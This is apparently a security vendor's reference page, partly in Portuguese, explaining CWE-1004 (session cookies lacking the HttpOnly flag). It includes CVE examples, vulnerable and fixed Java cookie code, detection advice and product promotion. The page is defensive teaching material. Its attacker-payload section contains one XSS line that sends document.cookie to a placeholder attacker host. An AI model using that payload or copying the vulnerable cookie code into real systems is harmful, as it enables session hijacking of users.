CWE-1004 Variante Incompleto Medium likelihood

Sensitive Cookie Without 'HttpOnly' Flag

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Definição

What is CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data. Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Impacto no mundo real

Real-world CVEs caused by CWE-1004

  • CVE-2022-24045

    Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.

  • CVE-2014-3852

    CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

  • CVE-2015-4138

    Appliance for managing encrypted communications does not use HttpOnly flag.

Como os atacantes a exploram

Trajeto do atacante passo a passo

  1. 1

    In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

  2. 2

    The snippet of code below establishes a new cookie to hold the sessionID.

  3. 3

    The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

  4. 4

    When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

  5. 5

    To mitigate the risk, use the setHttpOnly(true) method.

Exemplo de código vulnerável

Vulnerable Java

The snippet of code below establishes a new cookie to hold the sessionID.

Vulnerável Java 
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  response.addCookie(c);
Payload do atacante

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Payload do atacante JavaScript 
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Exemplo de código seguro

Secure Java

To mitigate the risk, use the setHttpOnly(true) method.

Seguro Java 
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  c.setHttpOnly(true);
  response.addCookie(c);
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Lista de verificação de prevenção

How to prevent CWE-1004

  • Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Sinais de deteção

How to detect CWE-1004

Automated Static Analysis High

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Correção automática do Plexicus

O Plexicus deteta automaticamente o CWE-1004 e abre um PR de correção em menos de 60 segundos.

O Codex Remedium analisa cada commit, identifica esta fraqueza exata e entrega um pull request pronto para revisão com o patch. Sem tickets. Sem transferências.

Obter uma demonstração Experimente o Plexicus gratuitamente
Perguntas frequentes

Frequently asked questions

O que é o CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Qual a gravidade do CWE-1004?

A MITRE classifica a probabilidade de exploração como Média — a exploração é realista mas normalmente requer condições específicas.

Que linguagens ou plataformas são afetadas pelo CWE-1004?

MITRE lists the following affected platforms: Web Based.

Como posso prevenir o CWE-1004?

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Como é que o Plexicus deteta e corrige o CWE-1004?

O motor SAST do Plexicus correlaciona a assinatura de fluxo de dados do CWE-1004 em cada commit. Quando é encontrada uma correspondência, o nosso agente Codex Remedium abre um PR de correção com o código corrigido, testes e um resumo de uma linha para o revisor.

Onde posso saber mais sobre o CWE-1004?

A MITRE publica a definição canónica em https://cwe.mitre.org/data/definitions/1004.html. Pode também consultar a documentação da OWASP e do NIST para orientações adjacentes.

Fraquezas relacionadas

Weaknesses related to CWE-1004

CWE-732 Pai

Incorrect Permission Assignment for Critical Resource

This vulnerability occurs when a system grants overly permissive access to a sensitive resource, allowing unauthorized users or processes…

CWE-276 Irmão

Incorrect Default Permissions

This vulnerability occurs when software installation scripts set overly permissive file or directory access rights by default. Instead of…

CWE-277 Irmão

Insecure Inherited Permissions

This vulnerability occurs when an application sets default file or directory permissions that are too permissive, and these insecure…

CWE-278 Irmão

Insecure Preserved Inherited Permissions

This vulnerability occurs when a software product copies or extracts files while unintentionally preserving insecure permissions from…

CWE-279 Irmão

Incorrect Execution-Assigned Permissions

This vulnerability occurs when a running application incorrectly changes an object's access permissions, overriding the security settings…

CWE-281 Irmão

Improper Preservation of Permissions

This vulnerability occurs when a system fails to correctly maintain file or object permissions during operations like copying, sharing, or…

CWE-766 Irmão

Critical Data Element Declared Public

This vulnerability occurs when a critical piece of data—like a variable, field, or class member—is mistakenly declared as public when it…

Recursos

Further reading

Pronto quando você estiver

Pare de pagar por desenvolvedor.
Comece a fechar o ciclo.

O Plexicus é o ASPM nativo de IA que verifica, filtra, corrige, pentesta e explica — de forma autónoma. Programadores ilimitados, repos ilimitados, ações de IA de utilização justa. Nível gratuito real, €269/mo anual quando estiver pronto.

Começar grátis Reservar uma demo